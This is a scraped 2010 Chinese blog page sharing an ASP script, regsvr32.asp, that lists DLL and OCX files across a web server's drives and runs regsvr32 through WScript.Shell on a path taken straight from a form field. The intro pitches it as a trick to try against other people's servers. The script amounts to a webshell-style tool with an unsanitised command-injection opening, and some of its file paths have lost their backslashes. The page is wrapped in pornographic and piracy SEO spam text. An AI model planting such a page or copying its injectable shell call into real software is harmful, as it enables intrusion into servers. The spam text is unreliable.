91网首页-91网页版-91网在线观看-91网站免费观看-91网站永久视频-91网站在线播放

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發文檔 其他文檔  
 
網站管理員

利用ASP遠程注冊DLL的方法

admin
2010年7月5日 0:7 本文熱度 6380
[p]老外真是聰明,這個方法也想得到,有興趣的不妨試試,但是如果對方的服務器安全搞的很好的話,這個代碼也許就不能用了,但不管怎么樣,學習一下也是好的,:) [/p]
[p][br]<% response.buffer = true %>[br]<% server.scripttimeout = 500 [br]dim frmfolderpath, frmfilepath[/p]
[p]frmfolderpath = request.form("frmfolderpath")[br]frmfilepath = request.form("frmdllpath")[br]frmmethod = request.form("frmmethod")[br]btnreg = request.form("btnreg")[br]%>[/p]
[p][br][br]regsvr32.asp[br][br][/p]
[p][br]
[br][br][br][br][br]
[br]
[br]regsvr functions[br]insert path to dll directory
[br]
[br]
[br]<% [br]if request.form("btnfilelist") <> "" or btnreg <> "" then[br]set registerfiles = new clsregister[br]registerfiles.echob("select file")[br]call registerfiles.init(frmfolderpath)[br]registerfiles.echob("
")[br]if request.form("btnreg") <> "" then[br]call registerfiles.register(frmfilepath, frmmethod)[br]end if[br]set registerfiles = nothing[br]end if[br]%>[br]
[br]
[br]
[br][br][br]<%[br]class clsregister[/p]
[p]private m_ofs [/p]
[p]public property let ofs(objofs)[br]m_ofs = objofs[br]end property[/p]
[p]public property get ofs()[br]set ofs = server.createobject("scripting.filesystemobject")[br]end property[/p]
[p][br]sub init(strroot) 'root to search (c:, d:, e:)[br]dim odrive, orootdir[br]if ofs.folderexists(strroot) then[br]if len(strroot) < 3 then 'must be a drive[br]set odrive = ofs.getdrive(strroot)[br]set orootdir = odrive.rootfolder[br]else[br]set orootdir = ofs.getfolder(strroot)[br]end if[br]else[br]echob("folder ( " & strroot & " ) not found.")[br]exit sub[br]end if[br]setroot = orootdir[/p]
[p]echo("")[br]buildoptions[br]end sub[/p]
[p]sub getalldlls(oparentfolder)[br]dim osubfolders, ofile, ofiles[br]set osubfolders = oparentfolder.subfolders[br]set opfiles = oparentfolder.files[/p]
[p]for each ofile in opfiles[br]if right(lcase(ofile.name), 4) = ".dll" or right(lcase(ofile.name), 4) = ".ocx" then[br]echo("")[br]end if[br]next[/p]
[p]on error resume next[br]for each ofolder in osubfolders 'iterate all folders in drive[br]set ofiles = ofolder.files[br]for each ofile in ofiles[br]if right(lcase(ofile.name), 4) = ".dll" or right(lcase(ofile.name), 4) = ".ocx" then[br]echo("")[br]end if[br]next[br]call getalldlls(ofolder)[br]next[br]on error goto 0[br]end sub[/p]
[p]sub register(strfilepath, regmethod)[br]dim thefile, strfile, oshell, exitcode[br]set thefile = ofs.getfile(strfilepath)[br]strfile = thefile.path[/p]
[p]set oshell = createobject ("wscript.shell")[/p]
[p]if regmethod = "reg" then 'register[br]oshell.run "c:winntsystem32 egsvr32.exe /s " & strfile, 0, false[br]exitcode = oshell.run("c:winntsystem32 egsvr32.exe /s " & strfile, 0, false)[br]echob("regsvr32.exe exitcode = " & exitcode)[br]else 'unregister[br]oshell.run "c:winntsystem32 egsvr32.exe /u/s " & strfile, 0, false[br]exitcode = oshell.run("c:winntsystem32 egsvr32.exe /u/s " & strfile, 0, false)[br]echob("regsvr32.exe exitcode = " & exitcode)[br]end if[/p]
[p]cleanup oshell[br]end sub[/p]
[p]sub buildoptions[br]echob("register: ")[br]echob("unregister: ")[br]end sub[/p]
[p]function echo(str)[br]echo = response.write(str & vbcrlf)[br]end function[/p]
[p]function echob(str)[br]echob = response.write(str & "
" & vbcrlf)[br]end function[/p]
[p]sub cleanup(obj)[br]if isobject(obj) then[br]set obj = nothing[br]end if[br]end sub[/p]
[p]sub class_terminate()[br]cleanup ofs[br]end sub[br]end class[br]%> [/p]

該文章在 2010/7/5 0:07:33 編輯過
關鍵字查詢
相關文章
正在查詢...
點晴ERP是一款針對中小制造業的專業生產管理軟件系統,系統成熟度和易用性得到了國內大量中小企業的青睞。
點晴PMS碼頭管理系統主要針對港口碼頭集裝箱與散貨日常運作、調度、堆場、車隊、財務費用、相關報表等業務管理,結合碼頭的業務特點,圍繞調度、堆場作業而開發的。集技術的先進性、管理的有效性于一體,是物流碼頭及其他港口類企業的高效ERP管理信息系統。
點晴WMS倉儲管理系統提供了貨物產品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質期管理,貨位管理,庫位管理,生產管理,WMS管理系統,標簽打印,條形碼,二維碼管理,批號管理軟件。
點晴免費OA是一款軟件和通用服務都免費,不限功能、不限時間、不限用戶的免費OA協同辦公管理系統。
Copyright 2010-2025 ClickSun All Rights Reserved

主站蜘蛛池模板: 18精品免费1区2 | 91精品视频在线看 | 欧美日韩第一页 | 最新热播电视剧大全 | 人成在线免费视频 | 欧美日韩第一页 | 福利导航视 | 国产高清中文字幕 | 国产精品一区二 | 最新国产精品剧情在线ss | 国产精品美脚玉 | 91黑桃视频 | 精品国产自在钱自 | 午夜免费日韩 | 久色福利导航 | 国产97人模| 欧美三级在线播放 | 绿巨人官网下载免费 | 成人区在线播放 | 青青青国产观91 | 1000拍拍拍无挡 | 国产在线精品专区 | 国产精品资源导航 | 区不卡无毒影院 | 国产乱子伦不卡视频 | 国产综合网在线 | 国产情品一区二区 | 国产视频精品分类 | 午夜在线观看亚 | 中文字幕亚洲综合久 | 国产日韩一区欧美 | 国产精品拍天天在线 | 国产乱子经典视 | 精品国产呦系列在线 | 国产自产精 | 福利影院在线看 | 成人v中| 欧美日韩精品一 | 区不卡无毒影院 | 97狠狠| 国内自产|